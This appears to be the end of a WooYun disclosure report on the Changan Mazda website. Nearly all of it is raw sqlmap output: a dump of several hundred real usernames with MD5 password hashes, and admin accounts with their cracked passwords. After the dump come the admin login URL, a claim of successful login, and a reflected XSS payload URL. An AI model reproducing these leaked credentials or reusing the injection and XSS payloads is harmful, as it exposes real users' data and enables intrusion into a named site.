c3de5ff972ab9389157ef43f63a99d62 || 夜汐魂 | 25c69c4e3796c55f65de1048a4ab3d76 || cheka214 | 11cdbe38c8ffbc685b07fb3156ed4b18 || 孙树会 | 4a6b0f2a594c1e38f76f723f5a6d972b || 990991670 | c2c5e486a7dc9588d8628c1b2e7aa246 || 一脚泥 | b5dbe36cedbcc289bbe5b44fdd15e796 || 河南那郑州 | 10b073232ff83a735e1ce9c287eaf788 || CX51T590 | ae476544d4e65b243cd863c31fba47c5 || jiangang5 | a146e7c6da13bab7105e8eb9ccf4123d || 535433348ren | d1fb52546ae97441a0d961fad423c456 || wf4569249 | 26a347035ab435cea8ac814e5ccd083d || caiite | 20b0a222c3472ad33e72c43ff1a2f484 || zhongqiuting | 87267cb34dee789caba61f79dc27fc41 || jiaquan86 | d8e06c92666704affb9966774cc986ca || yand1984 | 8a2e42e99f7f2cb9999c99d2ac05de7b || 和先生 | 1fe8780772e35e4f73e0481eb6c9d241 || doneyboyyy | 007773a36e77595cb7f63473920e36ce || goodtimelsr | 3bc8ea1524c3dcd7a07035b1b2de5cfe || caoying611 | b0ed8780da1a5819a56c91ce65e7ec1f || 7261128 | c3503665bc1c5236ac87e0600d018e02 || zhuhuan2545 | 867d5f090d16e1bdd08504a16b13d684 || chxw1982 | deff180bd7ffd982f27bcf68a2c57dc0 || 苏小明 | f0884c0533b5d9fb0d317cc3019320de || q305977424 | 89c345e9257c5bacb41b128471989e76 || 胜王2004 | 0bd00010656d173019d8dbe6214d07fa || gangkk | 476499bb3b4fd5772fd4511e2a774df1 || Zhong1800 | e04f92521fcfc07d2c2c61257f242931 || w_bbg | db5e4394ee7ba8b75b84a9438cdc9c69 || Monozm | 8cc80ddde6b69c01defcbb7b5d4ce2cf || 郭焱 | 0433b22c25606a4343de7bc5bd0f8bc0 || pl520118 | dbfc1922975270b3fc1d35fc67c6c1a3 || June-MING | 8669ef246023f50913f405ca719daeeb || ghy2520 | eb89946f3ad8d323c346fd74a12a512f || woxingwosu | 54a3a78aca0c5dce5aeb73a087e6bd8d || 翰思睿 | 68ea081caca76fa648829bc6eba730cb || yiyi123456 | 14e1b600b1fd579f47433b88e8d85291 || jjzhang321 | 9fca0c6e42b0150caebcc6db12a6945a || 56103 | 24fd50c7ff4c087cc0967dfb39b0ba65 || mb2824230 | 1fc5cfbf3ceb3bfef8bdf9cc1ebe9488 || 程大实 | 78fdd5fbfe26f7ada6621f5ff3084cb3 || lishen920 | f0ad96fd51243c7490a4bdde5cd5a401 || bodhi17 | 775de54a5168e015f540af6be5175181 || ljg9866 | db2c880a8ce835645c84b834f8d702de || ljg9866321 | db2c880a8ce835645c84b834f8d702de || 564500GGM | 4fbd1e2b9d517c11aa2273efc7425199 || nxlpja | d28ed931cd171e3e384f83dd08e7a167 || zens | b21a3c0ae0fd797a636d465339c904b2 || 3621055 | aa7fa1ba3e975a61b47a9a5533e97ced || 超哥8133 | 328f2888b655cd39c868d27b882c9611 || 约尔开什 | e6173064eddc39c38ce44527eca2f59f || 峰BMW | 873c619671072c4dfa341f10c9c7373d || bigdog0714 | 9209804669240a0a87dd9625b25a4009 || 夏亚军 | 655f67c8504447a9a427aeebf2bbfd33 || taok | 4f2f2771b5a0961186d8905245710576 || 662798a | b86e472c557fa2cce49f4d098f5ee84e || kof2008 | a7a293774df92de6d431ee69a8913cca || lianglei | 2f35201ced19cf53c392da3287044491 || 632868937 | 7bb8e1be9f1974c40b5ac61f5a5a1aa1 || chouchou | 536c1184b07951ad1584c0760b14392a || rice | 2ad2b0736463b49dda1869c915c1f3c4 || SIPINGZHOU88 | 0992bd6bcbd2037eb22c1b81f71fbbaf || LIQINGFENG | b50ba3fca9ea8ce5f5ca5c73b192018d || dhj77_2007 | 6a61f18b40f422c66a11126aee708a14 || yulong123 | 565ff3b1e6e398232082d9f4f76d142c || yaoguoqiang888 | e38a3cc21e78a85ee721cb848533ef34 || 吉祥 | bdb854f256098cd3f2af2bc5a0a04bd7 || czmaomao | 9422ebfeba11abb4db77217457582c9d || zhuwangrong | cc1a54d85f44b5ed94c6c2935b851d36 || sams | 5945f6ec1b386fb5f6b8c5b4444e0f39 || 周瑶 | 0d6a93854a96fa7e995f34f4a011b6e0 || lywx1226 | b34a8f1134bf15032744c8a4d20c279a || 陈前驰 | e9c899fb1ca3c3973205e891514fbe35 || hhmnuaa | fb2e71cb8e28b07f83a6c99149cca5cb || temp991 | d05435584d8c39fe09f8889e7f80a941 || 牧精绒羊绒 | 004fff65590a1742e5d43a07a21fa8b1 || kfcisguy | 09e4fddb01380a369e7fa7b50c2f75d1 || zc08223353 | 6d9809d4e8f67f118463d4801944493c || ezaile | a50677822c6ed1f14b338d57be4d28ce || kaneyet | 5f721d551447fceacf092e5c3cb3ca5d || wwygrm2000 | 5350a7154ee4c7bd6eb2e82c4182ea36 || 一叶飘零 | 3ae29f63a20c5cd74f2a295461a2a891 || daniulemon | 7373682357ee2cc2aa78fd897a55f9c4 || zs200500760 | ea0172c5bab1249cdb42b993a912d2b5 || q7433573 | b8ce23963e977eb2eec05fcf0567f6a9 || 15901810216 | 75bacf95f12fc51587a7357ecb730cc8 || @江湖寂寞 | 9e54671f2842092bb4c56afe32e839c2 || ys2572092 | 1635ffb91fa3fd2832018984920b6016 || chill | c4c2ed53bf31745a95bcc0f97d39bf1a || 陈梦 | 2cb02981e6f336b7e3c42bb0bc32a29b || bnihao888 | a5e9c27a818c04868740a36203810716 || andy_an | 95a0b9cb2c928336528bcdad17b163a3 || longyy8888 | 16379d13c6334f39ae6fb5b405978034 || lxyang | 39a006632313135e70efa1d9ade9426a || lh7374520 | 94631ed51f49fa6a4801f451acd622df || shuaibi123456 | 5dd1f375562e765698e823566254e251 || 沐凭兮 | 1c595b96ea24095ecd01402c6eeac64b || zhangleiever | 88d94c426fab2a46a7f878a31435b833 || ryanzhao | 47e56ca69dcda3af0b6791fe0bc9cc8f || qwe11223 | 6f6880cf46f51dd77d974651ddbf9d9b || xyhfun | 47a52bb70e2f67a01a86308763e705bd || yangyu0541 | 156ed93e4a2f328c1f1857e7a0f87dd0 || cf_ygy | 9cee5a5dad9dc326a7a5a5ac1910d361 || 季长伟 | 7af9dc195f6e209a0df8c1e4b7558c76 || 一颗在路上的心 | d4ebfefc9254f0ceae174858cc7ecc16 || 蓝色诳人 | 0c56764e2aa99c05db76e127bd43cb36 || 马自达897100 | f946c449c7a773863227a5c420a03967 || ct100CT | e821f87dde0533bf6933551795fd1f7a || 陈世国 | 493af98b6486c29dee861df7ab7b09f6 || zhuyonggang315 | 76dccdbc8855c4efa678474ce5c896d8 || 锡钧先生 | fc5f2b1b85571a7063ec76b3494e42c3 || houy1210 | 927bb44685b9768da84e72bd365d8d1e || 小马奔腾 | 810d570724d22c8ee521c3976f339707 || 调皮的小晨晨 | 1624964af6e2b0a58de7a8b5af91024f || 冰川2003 | 0d9b411ac71fd7ff5c8917130dea05ae || laughingsakula | bd2c5938db3d790afa3959f1fc16eac3 || yytian | 17aa322f89cf827156a5e037513ee249 || qhjdxm | 26db92652e0cc6b93c5a8c2face2acb9 || wuhhanxiao | 2b9f931583e9d2ca36ffd60267660f4e || 郭文凡 | c6b1280cca4f750b616e9e5087904b39 || viplcx | 547c3f3088b97133695438224080c896 || bhlc | d7b2e1e00c702af1bea5854f7d9817af || andyyu1300 | a3bee12d7e7f7f353e67d2b21a299848 || 小豆苗 | 45b6612b16da4cd40f21bbfcd62e3cfd || 13502720353 | 63cd370bd3e4d1123354851d6503ba66 || vipkulala | db7dbbc3298d3a7ecd1561eaf0689b47 || 137776713 | dfd4bdd5e0bcbe14b500b3be0c06f1d7 || pengyou886 | cb6f4dd1f073a0a6dadfe7aae58bcb9c || zacharysu | e44610bb9d895156b0393ef011e945b0 || ak1031 | d6f21094d0847987b57e39f579ff6625 || suixuguang | e2a8042c077d9da296c8e4cf5443f9c2 || auto | 146fae7c2728692704424ca1b17fbe2d || lsguoke | 8b3a05e60517ddb36577b4e813eb8122 || 天书 | 93f2cc2edaf8eba36ba12e845ce369d9 || 平平然 | 11a1220872d2782e8afa27ff8349d0e2 || 刘易敏 | 550e1bafe077ff0b0b67f4e32f29d751 || dwbf | 9e9a6490107b94cf0c22c2f0444c720c || kyo009 | 223a12cd7d073a06c0a78212bc8bacf3 || glw730926 | ca614f50f63c0edb6a09c67db18b7780 || cyc920130 | f3278083dfe97636f9bb17b64441ecda || bbbingi | f3a1da9893e70a231996fd16016b8978 || 450978708 | d7b2e1e00c702af1bea5854f7d9817af || 450485393 | 06dda02fa444d3dd4dd5ebbbc60ade87 || Wayne | 8e484998f9340e2dad5221a20d37977b || 钱子敬 | e37a167e0e029334ef5c59716c69bf8b || mazd20611 | adc582d8175225514141f5442bed155c || yzyxj | d82117d303569957dc338d1ab2980be3 || kidpudding | a2af48feba541a1cd9d076b74d416848 || 小白昂 | 8174187f6455a83033fb518c96b8391d || hb0702 | 0534b9335ec73e14abca0f7acc4f1ccc || 258730239 | e63711e4d70e1e75956d8d2e0914331b || 李江伟 | d5b07693dc59abb276ade1b6ec54d007 || lfonline | 14e1b600b1fd579f47433b88e8d85291 || xuopenlx | 6bbd63a6e3ae9872e462f9227e909e75 || JarsunCrow | 2827d94ceff6e33c89e9449d669feae2 || cqx218 | 7b37fbdcb4dedb18220ba6b362155022 || 84558603qq | 359cd4f583f7526a6f7ad343f032c5b6 || leien | 6a87e6ee7822ec9fe343362e9b7354eb || 18974868180 | c0531365b72278cacb70096ad7162019 || 跃马扬鞭 | 1ee5160fa12dcdb52e32b4901b8af388 || xzxlxxq | 5da877db5dcc3ba79faa6e21a0a88868 || eric55555 | c6dfac086b3476749165519deb551616 || yuguojun1984 | 67d490255accc377318bcd5fb9d33d76 || 后情人 | f0f9017114663006f62861d1e1cfd90c || 奔跑的蚂蚁 | 2b477f813f0032a686a1d64c5068a549 || 270052758 | 37012bf7f0f844800304e5408febb082 || Tsim | bc3e59fc0883b3171931a635c500f5b4 || 317730627 | 5893aafbdc2a5a1fdbbee988d5ed0905 || romariniho | cc107249adde716b7bbb54011da6ce0b || MZD02015 | 9148359df2cdea5b282784c2b01cfc63 || 徐爽 | 3f6e88f52ac4215871685f70cb25a271 || panchenggong123 | e2dd5465023e7150dc881304f522a5c7 || caoyifeng2015 | d6eb64735ab1e14ed48b2feca42368e2 || cs-5 | 14e1b600b1fd579f47433b88e8d85291 || luoyuangen | 04283ec0da9a953c485d2a071e6189c1 || 行车电脑 | 4af03e2ebc8e577c11609af5d0cd7fa9 || zephyrw | 1f801dbcd97d3c71ff6b97735f4524e2 || schycpf | 782dbda62ea12ad8fe3b3cf8ebd832d4 || 余弦 | 0fe2063de125543a5b9b090590f1e8a5 || horse669 | 98951f4bace5004e19d45982bd07ea4e || shaoroom | 9be9bb5087a29465a48e31d1de3b9d1a || jqb123jqb789 | f7013a1d2253da9b4108a5fe192789e7 || 酷爱阳光 | 3249f4a2e23a56c85836974e54b5f1dc || efcyy | 579972e3d6b7a1f652ba63a0eb1602d7 || 湘南乃风 | 08cce8d53002f7592771196c8d65aa89 || 850064623 | e1f9b75db51da1ae4231a2b075edaaa8 || zhouping629 | 6824a788b45ffd5af4932fe11fef492c || luoyuqilyq | f16ea15bd0ac2aa4dd8a9bfe2be12b7b || 色金丰蓝 | c5cba7bbc464cceef3e6d2645ebb0111 || limit | ad3705b1ffa71d2e654eb562b422b270 || lianss | 6c9605c0faef7aea3c1ab2e0228ef856 || fhh602 | 4a91d1c43ff1614bd53c98105f52a5b3 || M18033 | 688d8bde8623fd4f77b72d88b84c2b46 || materal | 2b4110f2005103ab85b75ad752a517c3 || sxy2023645 | be148ff51813cf75706a0875bb47d174 || 孙恺 | 2c27dbb531dd42c95446f84fdd964fcd || kli22 | 161614378ce997021253a7d784d3f757 || andyma760 | 9f63c2ec4e8c822e698937314be3cbdd || 奋斗6677 | 09853ac4570a8af733733f04efb1df4b || 天龙山5 | dd7e55e84bccd40508588074597596fc || df5130000 | 6de43ee1a1ee05e4dfbf5704094e9187 || liu419 | 868a9be50c5d9ff12dedd6a12021be33 || 肥波跑得快 | 621d7dbc609c1ba1a4087d9991ee06e3 || luomin21cn | 6031f7d807d6e792d89207d1298f4049 || hanjincai | 63ee451939ed580ef3c4b6f0109d1fd0 || Q2631EH936 | cf48284e94bae826aa7786c241758c6b || vicleo | 469698270091e7ddbd8e143c799ecf3f || LANSEYU76 | fa989846db2b56de8f2a421ae30e5b5b || 钟文巨 | 1ec57dedc06436f0e0f7e465b42e1028 || llove1111 | 1497bc7a9844923ecdd781fe881265e0 || 39279732 | d73629f244b1d9d6d49744cc2a363971 || zhgfhfh | d88681857a7dc0d5ac55b74ebea9dc1e || petersucre | 51f34b384cdcbf0f7aedb878feecbc5d || 奔跑的鸵鸟 | 70c25a67121b8899479ea2b3e978818f || realadam | 55ff0e4c8fb5e66a05e05625022cf8df || raox@163.com | 6a9cfd8a908ae10f5d99a4a654ff6b7c || pspcn | bd0b83d2299c1017423709f79d1e81aa || carlandersen | a1b938a0825f644a46b7c5222379ce0c || xsz60524 | cad214be17c05f1fc5dace8e42dc30ca || f1632063 | 9e351309e155b88d5d45c3ea6ec9073a || 姜有鱼 | d93cda975f5488d00e460101f4c6414d || karatlee | 916a9a0ce28423634150c4e065144ccc || ac626 | 75525c0c12f5a56cfb1c930f16b4dc07 || 黄山光头强1983 | fc85c7fcdb4a179ac52f7cbf0b4356a3 || lgmqw | d52636aee278821353c7dfc2e3c49e03 |+-----------------+----------------------------------+[16:49:10] [INFO] table 'changanmzd2015.ma_users' dumped to CSV file '/root/.sqlmap/output/www.changan-mazda.com.cn/dump/changanmzd2015/ma_users.csv'[16:49:10] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.changan-mazda.com.cn'[*] shutting down at 16:49:10Database: changanmzd2015Table: orderdata_admins[9 columns]+---------------+-------------+| Column | Type |+---------------+-------------+| admintype | smallint(1) || createtime | datetime || id | int(8) || lastloginip | varchar(25) || lastlogintime | datetime || password | varchar(32) || roleid | int(10) || updatetime | datetime || username | varchar(30) |+---------------+-------------+获取后台用户和密码：Database: changanmzd2015Table: orderdata_admins[3 entries]+----------+-------------------------------------------+| username | password |+----------+-------------------------------------------+| admin | 698d51a19d8a121ce581499d7b701668 (111) || apiuser | e10adc3949ba59abbe56e057f20f883e (123456) || test | 96e79218965eb72c92a549dd5a330112 (111111) |+----------+-------------------------------------------+
后台地址：http://www.changan-mazda.com.cn/index.php/admin/Auth成功登陆：
反射型xss：http://www.changan-mazda.com.cn:80//excellenceplan/resume?resume=%25E6%2580%25BB%25E8%25A3%2585%25E8%25B4%25A8%25E9%2587%258F%25E5%25B7%25A5%25E7%25A8%258B%25E5%25B8%2588'%22()%26%25<acx><ScRiPt%20>prompt(910224)</ScRiPt>
见详情
过滤
危害等级：无影响厂商忽略
忽略时间：2015-12-05 12:20
漏洞Rank：4 (WooYun评价)
暂无
